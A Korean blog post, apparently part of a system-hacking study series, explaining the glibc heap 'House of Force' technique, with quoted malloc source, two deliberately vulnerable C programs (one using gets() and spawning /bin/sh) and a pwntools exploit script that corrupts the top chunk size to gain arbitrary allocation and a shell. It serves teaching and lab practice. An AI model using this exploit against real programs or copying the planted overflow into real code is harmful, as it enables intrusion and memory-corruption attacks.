상세 컨텐츠

본문 제목

House of Force

SYSTEM HACKING/Exploit Tech

by koharin 2020. 6. 12. 23:04

본문

728x90
반응형

 

static void *
_int_malloc (mstate av, size_t bytes)
{
  INTERNAL_SIZE_T nb;               /* normalized request size */
  ...
  mchunkptr remainder;              /* remainder from a split */
  unsigned long remainder_size;     /* its size */
...
    use_top:
      victim = av->top;
      size = chunksize (victim);
      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
        {
          remainder_size = size - nb;
          remainder = chunk_at_offset (victim, nb);
          av->top = remainder;
          set_head (victim, nb | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
          set_head (remainder, remainder_size | PREV_INUSE);
          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    ...
      else
        {
          void *p = sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p;
        }
    }
}

_init_malloc 함수에서 top chunk를 관리하는데,

top chunk 주소(victim)의 값으로 크기(chunksize(victim))를 구하고 이 size가 할당 요청받은 크기인 nb보다 크거나 같은지 검사한다.

topchunk_size >= nb: 힙 영역에 할당한다.

topchunk_size < nb: sysmalloc 통해 추가적으로 영역을 매핑해서 할당한다.

 

 

공격방법: topchunk의 size를 2^64-1(64bit) / 2^32-1(32bit)로 조작해서 임의주소 - topchunk 주소 - 0x10 크기의 힙 청크를 할당하고 한번  더 힙 청크 할당 시 임의 주소에 할당한다.

 

할당을 원하는 주소가 0x8로 정렬되어 있을 경우: 임의주소 - topchunk 주소 - 0x10 - 0x8 

-> 할당받기 원하는 주소의 하위 바이트가 0x48이면 하위바이트가 0x40인 주소 영역에 할당받을 수 있다.

힙 청크는 메타데이터 크기인 0x10바이트로 정렬되어 있으므로

 

topchunk 주소 = topchunk 주소 + 할당 요청 크기


예제1

// gcc -o force1 force1.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char target[] ="im target!\n";
int main(){
        char *buf1;
        char *trash;
        char *exploit;
        __uint64_t* top_chunk_size_addr;
        __uint64_t exploit_size = 0;
        __uint32_t target_addr = &target;
        buf1 = malloc(0x100);
        top_chunk_size_addr = buf1 + 0x108;
        fprintf(stderr,"target : %s\n", target);
        fprintf(stderr,"buf1 : 0x%x\n", buf1);
        fprintf(stderr,"top_chunk_size : 0x%x\n", top_chunk_size_addr);
        fprintf(stderr,"target_addr : 0x%x\n", 0x601048);
        *top_chunk_size_addr = 0xffffffffffffffff;
        exploit_size = target_addr - 0x10 - (__int64_t)top_chunk_size_addr - 0x8;
        fprintf(stderr,"exploit_size : 0x%lx\n", exploit_size);
        trash = malloc(exploit_size);
        exploit = malloc(0x100);
        fprintf(stderr,"malloc_addr : 0x%x\n", exploit);
        strcpy(exploit, "exploited!!!!!!");
        fprintf(stderr,"target : %s\n", target);
        return 0;
}


예제2

// gcc -o force2 force2.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
__int64_t overwrite_me = 0;
int main(){
	char* buf1;
	char* buf2;
	char* trash;
	char malloc_size[21];
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	buf1 = malloc(0x20);
	write(1, &buf1, 8);
	gets(buf1);
	write(1, "input malloc_size : ", 19);
	read(0, malloc_size, 21);
	trash = malloc(strtoull(malloc_size, NULL, 10));
	buf2 = malloc(0x100);
	write(1, "write to target : ", 17);
	read(0, buf2, 0x100);
	if(overwrite_me == 0xdeadbeefcafebabe){
		system("/bin/sh");
	}
	return 0;
}

 

<익스 시나리오>

 

1. 출력해주는 buf1 청크 주소로부터 top chunk 주소 계산한다.

- top chunk 주소 = buf1 주소 + 0x28

- 4바이트 출력해주고 8바이트 정렬해줘야 하므로 앞에 '\x00\x00\x00\x00'을 붙여준다.

2. buf1에 입력받는데 gets 함수로 입력받아서 BOF 취약점(힙 오버플로우) 존재한다. top chunk size를 덮는다.

- topchunk size  = 0xffffffffffffffff

- buf1 = 'A'*0x20 + p64(0) + p64(topchunk_size)

topchunk의 size가 2^64-1로 덮힌 것을 확인할 수 있다.

 

3. malloc_size 입력 후 해당 크기의 힙 청크 할당

- malloc_size = 0xffffffffffffffff & (원하는주소(0x601090) - topchunk 주소 - 0x10)

- 이후 원하는 주소(0x601090) 영역에 힙 청크를 할당할 수 있다.

 

사이즈가 0x111인 청크가 생긴 것을 확인할 수 있다. 

p main_arena로 확인해보면 topchunk가 0x601090 청크의 다음에 위치한다.

 

4. 한번 더 힙 청크 할당

- 이때 원하는 주소에 힙 청크를 할당받을 수 있다.

- buf2가 해당 힙 포인터

 

5. buf2에 데이터 입력 시 0xdeadbeefcafebabe 입력해서 쉘 실행 조건을 맞춘다.

 

 

6. 쉘 획득

 

익스 코드

#!/usr/bin/python                                                                     
from pwn import *

context.log_level = 'debug'
p = process("./force2")
elf = ELF("./force2")
overwrite_me = elf.symbols['overwrite_me']

buf1 = u64(p.recv(4) + '\x00\x00'*2)
log.info("buf1: "+hex(buf1))
topchunk = buf1 + 0x28 #buf1 + chunksize + 0x8
log.info("topchunk: "+hex(topchunk))

topchunk_size = 0xffffffffffffffff
#overwrite topchunk size
p.sendline('A'*0x20 + p64(0) + p64(topchunk_size))

malloc_size = topchunk_size & (overwrite_me - topchunk - 0x10)
log.info("malloc_size: "+hex(malloc_size))
p.send(str(malloc_size))

# overwrite overwrite_me
p.send(p64(0xdeadbeefcafebabe))

gdb.attach(p)
# if case -> get shell

p.interactive()

 

728x90
반응형

'SYSTEM HACKING > Exploit Tech' 카테고리의 다른 글

_IO_FILE  (0) 2021.01.01
tcache memory leak  (0) 2020.06.13
Unsafe Unlink  (0) 2020.06.12
Poison NULL Byte  (0) 2020.06.12
Unsorted bin attack  (0) 2020.06.11

관련글 더보기